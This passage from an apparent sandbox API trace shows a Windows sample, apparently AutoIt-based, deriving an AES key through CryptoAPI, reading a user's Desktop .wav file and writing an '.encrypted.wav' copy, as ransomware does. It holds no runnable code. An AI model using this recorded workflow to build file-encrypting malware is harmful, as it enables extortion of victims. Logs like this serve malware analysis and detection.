lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.771] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.771] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0021.772] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.772] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.772] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.772] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.772] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0021.772] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.772] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.772] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.772] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.772] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.772] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418b750, dwDataLen=0x20, dwFlags=0x1) returned 1 [0021.772] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.772] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.772] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.772] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.772] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.772] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.772] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.772] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.772] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0021.773] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.774] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.774] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.774] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.774] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.774] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.774] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0021.774] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.774] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0021.775] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.776] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.776] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.776] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.776] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.776] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.wav" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar\\mbc0rw8uo_of3f5.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0021.776] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.776] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0021.776] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.777] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar")) returned 0x10 [0021.777] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.encrypted.wav" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar\\mbc0rw8uo_of3f5.encrypted.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0021.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.778] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.779] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0021.779] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0021.781] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x3948, lpOverlapped=0x0) returned 1 [0021.781] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0021.784] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.784] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.784] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.784] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0021.785] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.785] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.785] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0021.785] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.785] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0021.786] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.786] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.786] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.786] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0021.786] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.786] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064d20, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d20*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.787] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.787] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.787] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.787] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.787] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.788] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.788] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x13948, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x13950) returned 1 [0021.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.788] CharLowerBuffW (in: lpsz="byte[80209]", cchLength=0xb | out: lpsz="byte[80209]") returned 0xb [0021.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.789] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.789] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.789] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.789] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41fb5c0*, pdwDataLen=0xe8f3dfdf68*=0x13948, dwBufLen=0x13950 | out: pbData=0xe8f41fb5c0*, pdwDataLen=0xe8f3dfdf68*=0x13950) returned 1 [0021.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.790] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0021.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.790] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0021.790] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.790] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.790] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.790] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0021.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.795] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.795] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.796] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.796] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.796] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0021.796] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.796] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.796] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0021.796] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.796] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0021.796] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.796] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.796] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0021.796] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.796] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0021.796] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.797] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.797] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 